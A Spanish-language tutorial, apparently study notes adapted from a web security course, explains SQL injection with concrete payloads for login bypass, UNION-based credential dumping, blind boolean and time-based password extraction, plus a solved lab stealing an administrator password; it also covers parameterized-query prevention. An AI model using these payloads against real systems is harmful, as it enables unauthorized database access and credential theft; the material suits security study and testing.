0% encontró este documento útil (0 votos)
12 vistas22 páginas

Inyección SQL: Vulnerabilidades y Ejemplos

Este documento explica qué es la inyección SQL, cómo puede afectar las aplicaciones y bases de datos, y cómo los atacantes pueden aprovechar vulnerabilidades para acceder a datos no autorizados o comprometer sistemas.
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
12 vistas22 páginas

Inyección SQL: Vulnerabilidades y Ejemplos

Este documento explica qué es la inyección SQL, cómo puede afectar las aplicaciones y bases de datos, y cómo los atacantes pueden aprovechar vulnerabilidades para acceder a datos no autorizados o comprometer sistemas.
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Inyección SQL

En esta sección, explicaremos qué es la inyección SQL ( SQLi )

¿Qué es la inyección SQL ( SQLi )?

La inyección SQL ( SQLi ) es una vulnerabilidad de seguridad web que permite a un atacante
interferir con las consultas que una aplicación hace a su base de datos. Generalmente permite
que un atacante vea datos que normalmente no puede recuperar. Esto podría incluir datos
pertenecientes a otros usuarios, o cualquier otro dato al que pueda acceder la aplicación en sí.
En muchos casos, un atacante puede modificar o eliminar estos datos, causando cambios
persistentes en el contenido o el comportamiento de la aplicación.

En algunas situaciones, un atacante puede escalar un ataque de inyección SQL para


comprometer el servidor subyacente u otra infraestructura de back-end, o realizar un ataque de
denegación de servicio.

¿Cuál es el impacto de un ataque de inyección SQL exitoso?

Un ataque exitoso de inyección SQL puede dar como resultado un acceso no autorizado a
datos confidenciales, como contraseñas, detalles de tarjetas de crédito o información personal
del usuario.

Cómo detectar vulnerabilidades de inyección SQL

Puede detectar la inyección SQL manualmente utilizando un conjunto sistemático de

pruebas en cada punto de entrada de la aplicación. Para hacer esto, normalmente

enviaría:

• El carácter de cita única ' y busque errores u otras anomalías.


• Alguna sintaxis específica de SQL que se evalúa al valor base (original) del

punto de entrada y a un valor diferente, y busca diferencias sistemáticas en las

respuestas de la aplicación.
• Condiciones booleanas como OR 1=1 y OR 1=2, y busque diferencias en las

respuestas de la aplicación.

• Cargas útiles diseñadas para desencadenar retrasos de tiempo cuando se

ejecutan dentro de una consulta SQL, y buscar diferencias en el tiempo

necesario para responder.

• OAST cargas útiles diseñadas para activar una interacción de red fuera de

banda cuando se ejecutan dentro de una consulta SQL y monitorear cualquier

interacción resultante.

Inyección SQL en diferentes partes de la consulta.

La mayoría de las vulnerabilidades de inyección SQL ocurren dentro de WHERE cláusula

de un SELECT consulta. Los evaluadores más experimentados están familiarizados con

este tipo de inyección SQL.

Sin embargo, las vulnerabilidades de inyección de SQL pueden ocurrir en cualquier

ubicación dentro de la consulta y dentro de diferentes tipos de consulta. Algunas otras

ubicaciones comunes donde surge la inyección SQL son:

• En UPDATE declaraciones, dentro de los valores actualizados o

el WHERE cláusula.

• En INSERT declaraciones, dentro de los valores insertados.

• En SELECT declaraciones, dentro del nombre de la tabla o columna.

• En SELECT declaraciones, dentro del ORDER BY cláusula.

Ejemplos de inyección SQL

Existe una amplia variedad de vulnerabilidades, ataques y técnicas de inyección SQL, que
surgen en diferentes situaciones.

• Recuperando datos ocultos, donde puede modificar una consulta SQL para
devolver resultados adicionales.
• Subvertir lógica de aplicación, donde puede cambiar una consulta para
interferir con la lógica de la aplicación.
• Ataques de la UNIÓN, donde puede recuperar datos de diferentes tablas de
bases de datos.
• Examinando la base de datos, donde puede extraer información sobre la
versión y la estructura de la base de datos.
• Inyección ciega de SQL, donde los resultados de una consulta que controla no
se devuelven en las respuestas de la aplicación.

1- Recuperando datos ocultos

Considere una aplicación de compras que muestra productos en diferentes categorías.


Cuando el usuario hace clic en la categoría Regalos, su navegador solicita la URL:

[Link]

Esto hace que la aplicación realice una consulta SQL para recuperar detalles de los
productos relevantes de la base de datos:

SELECT * FROM products WHERE category = 'Gifts' AND released =


1

Esta consulta SQL le pide a la base de datos que devuelva:

• todos los detalles ( * )


• de la tabla de productos
• donde la categoría es Regalos
• y lanzado es 1.

La restricción released = 1 se está utilizando para ocultar productos que no se


lanzan. Para productos inéditos, presumiblemente released = 0.

La aplicación no implementa defensas contra ataques de inyección SQL, por lo que un


atacante puede construir un ataque como:

[Link]

Esto da como resultado la consulta SQL:

SELECT * FROM products WHERE category = 'Gifts'--' AND


released = 1

La clave aquí es que la secuencia de doble guión -- es un indicador de comentarios en


SQL, y significa que el resto de la consulta se interpreta como un comentario. Esto
elimina efectivamente el resto de la consulta, por lo que ya no incluye AND released
= 1. Esto significa que se muestran todos los productos, incluidos los productos inéditos.

Yendo más allá, un atacante puede hacer que la aplicación muestre todos los productos
en cualquier categoría, incluidas las categorías que no conocen:
[Link]

Esto da como resultado la consulta SQL:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND


released = 1

La consulta modificada devolverá todos los elementos donde la categoría es Regalos,


o 1 es igual a 1. Desde 1=1 siempre es cierto, la consulta devolverá todos los
elementos.

Advertencia

Tenga cuidado al inyectar la condición OR 1=1 en una consulta SQL. Incluso si


parece ser inofensivo en el contexto en el que se está inyectando, es común que
las aplicaciones usen datos de una sola solicitud en múltiples consultas diferentes.
Si su condición alcanza un UPDATE o DELETE declaración, por ejemplo, puede
resultar en una pérdida accidental de datos.

2- Subvertir lógica de aplicación

Considere una aplicación que permite a los usuarios iniciar sesión con un nombre de
usuario y contraseña. Si un usuario envía el nombre de usuario wiener y la
contraseña bluecheese, la aplicación verifica las credenciales realizando la siguiente
consulta SQL:

SELECT * FROM users WHERE username = 'wiener' AND password =


'bluecheese'

Si la consulta devuelve los detalles de un usuario, entonces el inicio de sesión es


exitoso. De lo contrario, es rechazado.

Aquí, un atacante puede iniciar sesión como cualquier usuario sin contraseña
simplemente usando la secuencia de comentarios SQL -- para eliminar la verificación
de contraseña de WHERE cláusula de la consulta. Por ejemplo, enviar el nombre de
usuario administrator'-- y una contraseña en blanco da como resultado la
siguiente consulta:
SELECT * FROM users WHERE username = 'administrator'--' AND
password = ''

Esta consulta devuelve al usuario cuyo nombre de usuario es administrator y


registra con éxito al atacante como ese usuario.

3- Recuperación de datos de otras tablas de la base de datos

En los casos en que los resultados de una consulta SQL se devuelvan dentro de las
respuestas de la aplicación, un atacante puede aprovechar una vulnerabilidad de
inyección SQL para recuperar datos de otras tablas dentro de la base de datos. Esto
se hace usando el UNION palabra clave, que le permite ejecutar un
adicional SELECT consulte y agregue los resultados a la consulta original.

Por ejemplo, si una aplicación ejecuta la siguiente consulta que contiene la entrada del
usuario "Regalos":

SELECT name, description FROM products WHERE category =


'Gifts'

entonces un atacante puede enviar la entrada:

' UNION SELECT username, password FROM users--

Esto hará que la aplicación devuelva todos los nombres de usuario y contraseñas junto
con los nombres y descripciones de los productos.

4- Examinando la base de datos

Después de la identificación inicial de una vulnerabilidad de inyección SQL,


generalmente es útil obtener información sobre la base de datos en sí. Esta información
a menudo puede allanar el camino para una mayor explotación.

Puede consultar los detalles de la versión de la base de datos. La forma en que se hace
esto depende del tipo de base de datos, por lo que puede inferir el tipo de base de datos
de cualquier técnica que funcione.

Por ejemplo, en Oracle puedes ejecutar:

SELECT * FROM v$version

También puede determinar qué tablas de base de datos existen y qué columnas
contienen. Por ejemplo, en la mayoría de las bases de datos puede ejecutar la siguiente
consulta para enumerar las tablas:

SELECT * FROM information_schema.tables


Examinar la base de datos en ataques de inyección SQL

Al explotar Inyección SQL vulnerabilidades, a menudo es necesario recopilar


información sobre la base de datos en sí. Esto incluye el tipo y la versión del software
de la base de datos y el contenido de la base de datos en términos de qué tablas y
columnas contiene.

Consultar el tipo y la versión de la base de datos.

Diferentes bases de datos proporcionan diferentes formas de consultar su versión.

Tipo de base de datos Consulta


Microsoft, MySQL SELECT @@version
Oráculo SELECT * FROM v$version

PostgreSQL SELECT version()

Por ejemplo, podría usar un UNION ataque con la siguiente entrada:

' UNION SELECT @@version--

Examinar la base de datos en ataques de inyección SQL

Al explotar Inyección SQL vulnerabilidades, a menudo es necesario recopilar


información sobre la base de datos en sí. Esto incluye el tipo y la versión del software
de la base de datos y el contenido de la base de datos en términos de qué tablas y
columnas contiene.

Consultar el tipo y la versión de la base de datos.

Diferentes bases de datos proporcionan diferentes formas de consultar su versión. A


menudo necesita probar diferentes consultas para encontrar una que funcione, lo que
le permite determinar tanto el tipo como la versión del software de la base de datos.

Las consultas para determinar la versión de la base de datos para algunos tipos de
bases de datos populares son las siguientes:

Tipo de base de datos Consulta

Microsoft, MySQL SELECT @@version

Oráculo SELECT * FROM v$version

PostgreSQL SELECT version()

Por ejemplo, podría usar un UNION ataque con la siguiente entrada:

' UNION SELECT @@version—


Listado de los contenidos de la base de datos.

La mayoría de los tipos de bases de datos ( con la notable excepción de Oracle )


tienen un conjunto de vistas llamado esquema de información que proporcionan
información sobre la base de datos.

Puedes consultar information_schema.tables para enumerar las tablas en la


base de datos:

SELECT * FROM information_schema.tables

Esto devuelve la salida de la siguiente manera:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE

=====================================================

MyDatabase dbo Products BASE TABLE

MyDatabase dbo Users BASE TABLE

MyDatabase dbo Feedback BASE TABLE

Esta salida indica que hay tres tablas, llamadas Products, Users, y Feedback.

Luego puede consultar information_schema.columns para enumerar las


columnas en tablas individuales:

SELECT * FROM information_schema.columns WHERE table_name =

'Users'

Esto devuelve la salida de la siguiente manera:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME

DATA_TYPE

==============================================================

===

MyDatabase dbo Users UserId int

MyDatabase dbo Users Username varchar


MyDatabase dbo Users Password varchar

Esta salida muestra las columnas en la tabla especificada y el tipo de datos de cada
columna.

Equivalente al esquema de información sobre Oracle

En Oracle, puede obtener la misma información con consultas ligeramente diferentes.

Puede enumerar tablas consultando all_tables:

SELECT * FROM all_tables

Y puede enumerar columnas consultando all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Comentarios

Puede usar comentarios para truncar una consulta y eliminar la parte de la consulta
original que sigue a su entrada.

Oráculo --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
MySQL #comment
-- comment[ Observe el espacio después del doble guión ]
/*comment*/

Vulnerabilidades de inyección SQL ciegas

Muchos casos de inyección SQL son vulnerabilidades ciegas. Esto significa que la
aplicación no devuelve los resultados de la consulta SQL o los detalles de los errores
de la base de datos dentro de sus respuestas. Las vulnerabilidades ciegas aún pueden
explotarse para acceder a datos no autorizados, pero las técnicas involucradas son
generalmente más complicadas y difíciles de realizar.

Dependiendo de la naturaleza de la vulnerabilidad y la base de datos involucrada, se


pueden usar las siguientes técnicas para explotar las vulnerabilidades de inyección
SQL ciegas:

• Puede cambiar la lógica de la consulta para activar una diferencia detectable


en la respuesta de la aplicación dependiendo de la verdad de una sola
condición. Esto podría implicar inyectar una nueva condición en alguna lógica
booleana, o desencadenar condicionalmente un error como un divide por cero.
• Puede activar condicionalmente un retraso de tiempo en el procesamiento de la
consulta, lo que le permite inferir la verdad de la condición en función del
tiempo que tarda la aplicación en responder.
• Puede activar una interacción de red fuera de banda,
utilizando “OAST” técnicas. Esta técnica es extremadamente poderosa y
funciona en situaciones donde las otras técnicas no lo hacen. A menudo,
puede exfiltrar directamente los datos a través del canal fuera de banda, por
ejemplo, colocando los datos en una búsqueda de DNS para un dominio que
controla.

Inyección SQL de segundo orden

La inyección SQL de primer orden surge cuando la aplicación toma la entrada del
usuario de una solicitud HTTP y, en el curso del procesamiento de esa solicitud,
incorpora la entrada en una consulta SQL de manera insegura.

En la inyección SQL de segundo orden ( también conocida como inyección SQL


almacenada ), la aplicación toma la entrada del usuario de una solicitud HTTP y la
almacena para uso futuro. Esto generalmente se hace colocando la entrada en una
base de datos, pero no surge vulnerabilidad en el punto donde se almacenan los
datos. Más tarde, al manejar una solicitud HTTP diferente, la aplicación recupera los
datos almacenados y los incorpora en una consulta SQL de una manera insegura.

La inyección SQL de segundo orden a menudo surge en situaciones en las que los
desarrolladores conocen las vulnerabilidades de inyección SQL y manejan de manera
segura la ubicación inicial de la entrada en la base de datos. Cuando los datos se
procesan posteriormente, se consideran seguros, ya que se colocaron previamente en
la base de datos de forma segura. En este punto, los datos se manejan de manera
insegura, porque el desarrollador considera erróneamente que es confiable.
Cómo prevenir la inyección SQL

La mayoría de los casos de inyección SQL se pueden prevenir mediante el uso de


consultas parametrizadas ( también conocidas como declaraciones preparadas ) en
lugar de concatenación de cadena dentro de la consulta.

El siguiente código es vulnerable a la inyección SQL porque la entrada del usuario se


concatena directamente en la consulta:

String query = "SELECT * FROM products WHERE category = '"+


input + "'";

Statement statement = [Link]();

ResultSet resultSet = [Link](query);

Este código se puede reescribir fácilmente de una manera que evite que la entrada del
usuario interfiera con la estructura de consulta:

PreparedStatement statement =
[Link]("SELECT * FROM products WHERE
category = ?");

[Link](1, input);

ResultSet resultSet = [Link]();

Las consultas parametrizadas se pueden usar para cualquier situación en la que la


entrada no confiable aparezca como datos dentro de la consulta, incluido
el WHERE cláusula y valores en un INSERT o UPDATE declaración. No se pueden usar
para manejar entradas no confiables en otras partes de la consulta, como nombres de
tablas o columnas, o el ORDER BY cláusula. La funcionalidad de la aplicación que coloca
datos no confiables en esas partes de la consulta deberá adoptar un enfoque diferente,
como los valores de entrada permitidos de la lista blanca, o usando una lógica diferente
para entregar el comportamiento requerido.

Para que una consulta parametrizada sea efectiva para prevenir la inyección de SQL, la
cadena que se usa en la consulta siempre debe ser una constante codificada, y nunca
debe contener datos variables de ningún origen. No se sienta tentado a decidir caso por
caso si se confía en un elemento de datos y continuar usando concatenación de cadena
dentro de la consulta para casos que se consideran seguros. Es demasiado fácil
cometer errores sobre el posible origen de los datos, o para que los cambios en otro
código violen las suposiciones sobre qué datos están contaminados.
Inyección SQL Ataques UNION

Cuando una aplicación es vulnerable a la inyección SQL y los resultados de la


consulta se devuelven dentro de las respuestas de la aplicación, el UNION la palabra
clave se puede usar para recuperar datos de otras tablas dentro de la base de datos.
Esto da como resultado un ataque SQL inyection UNION.

los UNION la palabra clave le permite ejecutar uno o más SELECT consulta y agregue
los resultados a la consulta original. Por ejemplo:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Esta consulta SQL devolverá un único conjunto de resultados con dos columnas, que
contiene valores de columnas a y b en table1 y columnas c y d en table2.

Por un UNION consulta para trabajar, se deben cumplir dos requisitos clave:

• Las consultas individuales deben devolver el mismo número de columnas.


• Los tipos de datos en cada columna deben ser compatibles entre las consultas
individuales.

Para llevar a cabo un ataque SQL inyection UNION, debe asegurarse de que su
ataque cumpla con estos dos requisitos. Esto generalmente implica descubrir:

• ¿Cuántas columnas se devuelven de la consulta original?


• ¿Qué columnas devueltas de la consulta original son de un tipo de datos
adecuado para contener los resultados de la consulta inyectada?

Determinar el número de columnas requeridas en un ataque SQL de inyección


UNION

Al realizar un ataque SQL de inyección UNION, existen dos métodos efectivos para
determinar cuántas columnas se devuelven de la consulta original.

El primer método implica inyectar una serie de ORDER BY cláusulas e incremento del
índice de columna especificado hasta que ocurra un error. Por ejemplo, suponiendo
que el punto de inyección sea una cadena citada dentro del WHERE cláusula de la
consulta original, usted enviaría:

' ORDER BY 1--

' ORDER BY 2--

' ORDER BY 3--

etc.
Esta serie de cargas útiles modifica la consulta original para ordenar los resultados por
diferentes columnas en el conjunto de resultados. La columna en un ORDER BY la
cláusula puede especificarse por su índice, por lo que no necesita saber los nombres
de ninguna columna. Cuando el índice de columna especificado excede el número de
columnas reales en el conjunto de resultados, la base de datos devuelve un error,
como:

The ORDER BY position number 3 is out of range of the number


of items in the select list.

La aplicación podría devolver el error de la base de datos en su respuesta HTTP, o


podría devolver un error genérico, o simplemente no devolver resultados. Siempre que
pueda detectar alguna diferencia en la respuesta de la aplicación, puede inferir
cuántas columnas se devuelven de la consulta.

El segundo método implica enviar una serie de UNION SELECT cargas que
especifican un número diferente de valores nulos:

' UNION SELECT NULL--

' UNION SELECT NULL,NULL--

' UNION SELECT NULL,NULL,NULL--

etc.

Si el número de nulos no coincide con el número de columnas, la base de datos


devuelve un error, como:

All queries combined using a UNION, INTERSECT or EXCEPT


operator must have an equal number of expressions in their
target lists.

Una vez más, la aplicación podría devolver este mensaje de error, o simplemente
devolver un error genérico o ningún resultado. Cuando el número de nulos coincide
con el número de columnas, la base de datos devuelve una fila adicional en el
conjunto de resultados, que contiene valores nulos en cada columna. El efecto sobre
la respuesta HTTP resultante depende del código de la aplicación. Si tiene suerte, verá
contenido adicional dentro de la respuesta, como una fila adicional en una tabla HTML.
De lo contrario, los valores nulos podrían desencadenar un error diferente, como
un NullPointerException. En el peor de los casos, la respuesta podría ser
indistinguible de la causada por un número incorrecto de nulos, lo que hace que este
método para determinar el recuento de columnas sea ineficaz.
Encontrar columnas con un tipo de datos útil en un ataque SQL UnION

La razón para realizar un ataque SQL de inyección UNION es poder recuperar los
resultados de una consulta inyectada. En general, los datos interesantes que desea
recuperar estarán en forma de cadena, por lo que debe encontrar una o más columnas
en los resultados de la consulta original cuyo tipo de datos es, o es compatible con
datos de cadena.

Después de haber determinado el número de columnas requeridas, puede sondear


cada columna para probar si puede contener datos de cadena enviando una serie
de UNION SELECT cargas útiles que colocan un valor de cadena en cada columna a
su vez. Por ejemplo, si la consulta devuelve cuatro columnas, debe enviar:

' UNION SELECT 'a',NULL,NULL,NULL--

' UNION SELECT NULL,'a',NULL,NULL--

' UNION SELECT NULL,NULL,'a',NULL--

' UNION SELECT NULL,NULL,NULL,'a'--

Si el tipo de datos de una columna no es compatible con los datos de cadena, la


consulta inyectada causará un error en la base de datos, como:

Conversion failed when converting the varchar value 'a' to


data type int.

Si no se produce un error y la respuesta de la aplicación contiene contenido adicional


que incluye el valor de cadena inyectado, entonces la columna correspondiente es
adecuada para recuperar datos de cadena.

Uso de un ataque SQL de inyección UNION para recuperar datos interesantes

Cuando haya determinado el número de columnas devueltas por la consulta original y


haya encontrado qué columnas pueden contener datos de cadena, está en
condiciones de recuperar datos interesantes.

Supongamos que:

• La consulta original devuelve dos columnas, las cuales pueden contener datos
de cadena.
• El punto de inyección es una cadena citada dentro del WHERE cláusula.
• La base de datos contiene una tabla llamada users con las
columnas username y password.

En esta situación, puede recuperar el contenido de la users tabla enviando la


entrada:
' UNION SELECT username, password FROM users--

Por supuesto, la información crucial necesaria para realizar este ataque es que hay
una tabla llamada users con dos columnas llamadas username y password. Sin
esta información, se quedaría tratando de adivinar los nombres de tablas y columnas.
De hecho, todas las bases de datos modernas proporcionan formas de examinar la
estructura de la base de datos, para determinar qué tablas y columnas contiene.

Recuperando múltiples valores dentro de una sola columna

En el ejemplo anterior, suponga que la consulta solo devuelve una sola columna.

Puede recuperar fácilmente múltiples valores juntos dentro de esta columna individual
concatenando los valores juntos, idealmente incluyendo un separador adecuado para
permitirle distinguir los valores combinados. Por ejemplo, en Oracle puede enviar la
entrada:

' UNION SELECT username || '~' || password FROM users--

Esto usa la secuencia de doble tubo || que es un operador de concatenación de


cuerda en Oracle. La consulta inyectada concatena los valores de
la username y password campos, separados por el ~ personaje.

Los resultados de la consulta le permitirán leer todos los nombres de usuario y


contraseñas, por ejemplo:

...

administrator~s3cure

wiener~peter

carlos~montoya

...

Inyección SQL ciega

En esta sección, describiremos qué es la inyección SQL ciega, explicaremos varias


técnicas para encontrar y explotar vulnerabilidades de inyección SQL ciegas.

¿Qué es la inyección SQL ciega?

La inyección ciega de SQL surge cuando una aplicación es vulnerable a la inyección


de SQL, pero sus respuestas HTTP no contienen los resultados de la consulta SQL
relevante o los detalles de los errores de la base de datos.
Con vulnerabilidades de inyección SQL ciegas, muchas técnicas
como UNION ataques, no son efectivos porque confían en poder ver los resultados de
la consulta inyectada dentro de las respuestas de la aplicación. Todavía es posible
explotar la inyección SQL ciega para acceder a datos no autorizados, pero se deben
utilizar diferentes técnicas.

Explotar la inyección SQL ciega al activar respuestas condicionales

Considere una aplicación que utiliza cookies de seguimiento para recopilar análisis
sobre el uso. Las solicitudes a la aplicación incluyen un encabezado de cookie como
este:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Cuando una solicitud que contiene un TrackingId cookie se procesa, la aplicación


determina si este es un usuario conocido que usa una consulta SQL como esta:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId =


'u5YD3PapBcR4lN3e7Tj4'

Esta consulta es vulnerable a la inyección SQL, pero los resultados de la consulta no


se devuelven al usuario. Sin embargo, la aplicación se comporta de manera diferente
dependiendo de si la consulta devuelve algún dato. Si devuelve datos ( porque se
reconoce TrackingId se envió ), luego se muestra un mensaje "Bienvenido de
nuevo" dentro de la página.

Este comportamiento es suficiente para poder explotar la vulnerabilidad de inyección


SQL ciega y recuperar información activando diferentes respuestas condicionalmente,
dependiendo de una condición inyectada. Para ver cómo funciona esto, suponga que
se envían dos solicitudes que contienen lo siguiente TrackingId valores de cookies
a su vez:

…xyz' AND '1'='1

…xyz' AND '1'='2

El primero de estos valores hará que la consulta devuelva los resultados, porque se
inyectó AND '1'='1 la condición es verdadera, por lo que se mostrará el mensaje
"Bienvenido de nuevo. Mientras que el segundo valor hará que la consulta no devuelva
ningún resultado, porque la condición inyectada es falsa y, por lo tanto, no se mostrará
el mensaje "Bienvenido de nuevo. Esto nos permite determinar la respuesta a
cualquier condición inyectada única y, por lo tanto, extraer datos de un bit a la vez.

Por ejemplo, supongamos que hay una tabla llamada Users con las
columnas Username y Password, y un usuario llamado Administrator. Podemos
determinar sistemáticamente la contraseña de este usuario enviando una serie de
entradas para probar la contraseña de un carácter a la vez.

Para hacer esto, comenzamos con la siguiente entrada:


xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username
= 'Administrator'), 1, 1) > 'm

Esto devuelve el mensaje "Bienvenido de nuevo", indicando que la condición inyectada


es verdadera, por lo que el primer carácter de la contraseña es mayor que m

A continuación, enviamos la siguiente entrada:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username

= 'Administrator'), 1, 1) > 't

Esto no devuelve el mensaje "Bienvenido de nuevo", lo que indica que la condición


inyectada es falsa, por lo que el primer carácter de la contraseña no es mayor que t.

Finalmente, enviamos la siguiente entrada, que devuelve el mensaje "Bienvenido de


nuevo", confirmando así que el primer carácter de la contraseña es s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username


= 'Administrator'), 1, 1) = 's

PARA SABER EL TAMAÑO DE LA CONTRASEÑA SE PODRÍA HACER:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE


username='administrator' AND LENGTH(password)>1)='a

Con ese comando nos da que es verdadero “bienvenido de nuevo”


siempre que la contraseña sea mayor a 1. Luego se va
incrementando eso. Cuando la condición deja de ser verdadera (
i.e. cuando el mensaje "Bienvenido de nuevo" desaparece ), ha
determinado la longitud de la contraseña

Después de determinar la longitud de la contraseña se tiene que determinar los


caracteres y para ello enviamos la petición a la pestaña de intruder.

En la pestaña de “positions” va la petición donde hay que modificar la petición y


agregar.

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE


username='administrator' AND LENGTH(password)> §1§)='a

Despuesta pasamos a la pestaña de “Payloads” donde en el “payload type” ponemos


number. Y en la pestaña “Options” configuramos bien como va a ser el ataque.

Lo mismo vamos a hacer para saber la letra que corresponde a cada posición.
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users
WHERE username='administrator')='§a§

Esto con “intruder” también lo vamos a hacer y vamos a ir


modificando la posición del password.

Extracción de datos confidenciales a través de mensajes de error SQL


detallados

La configuración incorrecta de la base de datos a veces da como resultado mensajes


de error detallados. Estos pueden proporcionar información que puede ser útil para un
atacante. Por ejemplo, considere el siguiente mensaje de error, que ocurre después de
inyectar una sola comilla en un id parámetro:

Unterminated string literal started at position 52 in SQL


SELECT * FROM tracking WHERE id = '''. Expected char

Esto muestra la consulta completa que la aplicación construyó utilizando nuestra


entrada. Como resultado, podemos ver el contexto en el que estamos inyectando, es
decir, una cadena entre comillas dentro de un WHERE declaración. Esto facilita la
construcción de una consulta válida que contenga una carga útil maliciosa. En este
caso, podemos ver que comentar el resto de la consulta evitaría que la comilla
superflua rompa la sintaxis.

Ocasionalmente, puede inducir a la aplicación a generar un mensaje de error que


contenga algunos de los datos devueltos por la consulta. Esto efectivamente convierte
una vulnerabilidad de inyección SQL ciega en una "visible.

Una forma de lograr esto es usar el CAST() función, que le permite convertir un tipo
de datos a otro. Por ejemplo, considere una consulta que contenga la siguiente
declaración:

CAST((SELECT example_column FROM example_table) AS int)

A menudo, los datos que está tratando de leer son una cadena. Intentar convertir esto
en un tipo de datos incompatible, como un int, puede causar un error similar al
siguiente:

ERROR: invalid input syntax for type integer: "Example data"

Este tipo de consulta también puede ser útil en los casos en que no puede activar
respuestas condicionales debido a un límite de caracteres impuesto en la consulta.

EJERCICIO RESUELTO:

1. En la solicitud, agregue caracteres de comentarios para comentar el resto


de la consulta, incluido el carácter adicional de comilla única que está
causando el error:
TrackingId=ogAZZfxtOKUELbuJ'--

2. Envía la solicitud. Confirme que ya no recibe un error. Esto sugiere que la


consulta ahora es sintácticamente válida.
3. Adapte la consulta para incluir un genérico SELECT subconsulta y convertir
el valor devuelto en un int tipo de datos:

TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS


int)--

4. Envía la solicitud. Observe que ahora obtiene un error diferente diciendo


que un AND La condición debe ser una expresión booleana.
5. Modifique la condición en consecuencia. Por ejemplo, simplemente puede
agregar un operador de comparación (=) como sigue:

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS


int)--

6. Envía la solicitud. Confirme que ya no recibe un error. Esto sugiere que


esta es una consulta válida nuevamente.
7. Adapta tu genérico SELECT declaración para que recupere nombres de
usuario de la base de datos:

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT


username FROM users) AS int)--

8. Observe que recibe nuevamente el mensaje de error inicial. Observe que


su consulta ahora parece estar truncada debido a un límite de caracteres.
Como resultado, los caracteres de comentarios que agregó para arreglar
la consulta no están incluidos.
9. Eliminar el valor original de la TrackingId galleta para liberar algunos
caracteres adicionales. Renunciar a la solicitud.

TrackingId=' AND 1=CAST((SELECT username FROM users) AS


int)--

10. Observe que recibe un nuevo mensaje de error, que parece ser generado
por la base de datos. Esto sugiere que la consulta se ejecutó
correctamente, pero aún está recibiendo un error porque inesperadamente
devolvió más de una fila.
11. Modifique la consulta para devolver solo una fila:

TrackingId=' AND 1=CAST((SELECT username FROM users


LIMIT 1) AS int)--

12. Envía la solicitud. Observe que el mensaje de error ahora filtra el primer
nombre de usuario del users mesa:

ERROR: invalid input syntax for type integer:


"administrator"

13. Ahora que sabes que el administrator es el primer usuario en la tabla,


modifique la consulta una vez más para filtrar su contraseña:
TrackingId=' AND 1=CAST((SELECT password FROM users
LIMIT 1) AS int)--

14. Iniciar sesión como administrator usando la contraseña robada para


resolver el laboratorio.

Explotar la inyección SQL ciega al provocar retrasos en el tiempo

En algunos de los ejemplos anteriores, hemos visto cómo puede explotar la forma en
que las aplicaciones no manejan adecuadamente los errores de la base de datos.
Pero, ¿qué pasa si la aplicación detecta estos errores y los maneja con gracia? Activar
un error de la base de datos cuando se ejecuta la consulta SQL inyectada ya no causa
ninguna diferencia en la respuesta de la aplicación, por lo que la técnica anterior de
inducir errores condicionales no funcionará.

En esta situación, a menudo es posible explotar la vulnerabilidad de inyección SQL


ciega al provocar retrasos en el tiempo condicional, dependiendo de una condición
inyectada. Debido a que la aplicación generalmente procesa sincrónicamente las
consultas SQL, retrasar la ejecución de una consulta SQL también retrasará la
respuesta HTTP. Esto nos permite inferir la verdad de la condición inyectada en
función del tiempo transcurrido antes de recibir la respuesta HTTP.

Las técnicas para activar un retraso de tiempo son muy específicas para el tipo de
base de datos que se utiliza. En Microsoft SQL Server, la entrada como la siguiente se
puede usar para probar una condición y desencadenar un retraso dependiendo de si la
expresión es verdadera:

'; IF (1=2) WAITFOR DELAY '0:0:10'--

'; IF (1=1) WAITFOR DELAY '0:0:10'--

La primera de estas entradas no provocará un retraso, porque la condición 1=2 es


falso. La segunda entrada provocará un retraso de 10 segundos, debido a la
condición 1=1 es verdad.

Usando esta técnica, podemos recuperar datos de la manera ya descrita, probando


sistemáticamente un carácter a la vez:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username =

'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1

WAITFOR DELAY '0:0:{delay}'—

En otro laboratorio también pude ver que se puede realizar un

ataque en la pestaña intruder con dos dicconarios.


Cookie:

TrackingId=RLMyxSdiX0hMBlDM'%3BSELECT+CASE+WHEN+(username='adm

inistrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep

(10)+ELSE+pg_sleep(0)+END+FROM+users--;

Uno correspondiente al 1 y otro al a. y los resultados mayores

al 10000 son los correctos.

¿Cómo prevenir ataques de inyección SQL ciegos?

Aunque las técnicas necesarias para encontrar y explotar vulnerabilidades de


inyección SQL ciegas son diferentes y más sofisticadas que para la inyección SQL
regular, Las medidas necesarias para prevenir la inyección de SQL son las mismas
independientemente de si la vulnerabilidad es ciega o no.

Al igual que con la inyección SQL regular, los ataques de inyección SQL ciegos se
pueden prevenir mediante el uso cuidadoso de consultas parametrizadas, que
aseguran que la entrada del usuario no pueda interferir con la estructura de la consulta
SQL prevista.

MANEJO DE BASE DE DATOS:

comando para crear base de datos;

• create database $nombre;

comando para crear una tabla:

• create table $nombre(id int(32), username varchar(32), password varchar(32));

comando para insertar datos dentro de la tabla:

• insert into $nombre(id, username, password) values(2, 'santino', 'santino123');

ATAQUE SQL INJECTION:

